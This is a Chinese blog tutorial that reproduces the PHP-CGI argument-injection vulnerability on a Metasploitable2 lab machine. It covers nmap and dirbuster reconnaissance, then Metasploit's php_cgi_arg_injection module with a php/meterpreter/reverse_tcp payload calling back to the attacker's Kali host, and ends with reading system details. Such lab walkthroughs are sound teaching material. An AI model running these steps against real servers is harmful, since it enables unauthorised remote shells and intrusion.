Msf溢出phpMyAdmin

最新推荐文章于 2024-12-13 19:45:10 发布

bye_X

最新推荐文章于 2024-12-13 19:45:10 发布

阅读量536

点赞数 1

分类专栏：各种漏洞复现

原文链接：https://www.baidu.com/link?url=yXc4cjc2mYqdzOIcSRBgVkcqWjoQzv-94cGLOFr0wikoXuE73P44sO4YWhnczWs7&wd=&eqid=927f32da000188d6000000025f2e1cd1

版权

各种漏洞复现专栏收录该内容

10 篇文章

订阅专栏

CGI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令

环境
kali linux 攻击机：ip 192.168.235.149
metasploitable2 目标机：ip 192.168.235.140

步骤

1、确保目标机与攻击机能够ping通
在这里插入图片描述
2、对目标主机进行端口扫描，使用nmap -sV -v 192.168.235.140

可以看到Apache服务的端口是开着的
3、浏览器中输入地址192.168.235.140 访问目标主机

4、终端中输入dirbuster 启动扫描软件进行扫描

在Target URL中输入目标主机地址：192.168.235.140 点击“Browse”按钮选择字典文件“/usr/share/dirbuster/wordlists/directory-list-1.0.txt”点击star 开始扫描
在这里插入图片描述
扫描结果显示

有PHPmyadmin和cgi的目录信息
5、终端输入msfconsole 打开msf，msf终端中输入search php_cgi 搜索有关CGI php的攻击模块

6、终端中输入use exploit/multi/http/php_cgi_arg_injection
Show options

7、 Show payload可以看到选项里有 payloads相关的攻击载荷模块
在这里插入图片描述
这里我们选择php/meterpreter/reverse_tcp
8、这里利用meterpreter取得shell连接 set PAYLOAD php/meterpreter/reverse_tcp

9、 show options 查看有什么参数

这里我们设置源主机 LHOST 192.168.235.149 设置目标主机 RHOST 192.168.235.140
在这里插入图片描述
输入run开始攻击

拿到meterpreter
10、终端中输入 sysinfo

可以看到相关的信息
看到etc下的配置文件

可以看到Apache服务器的信息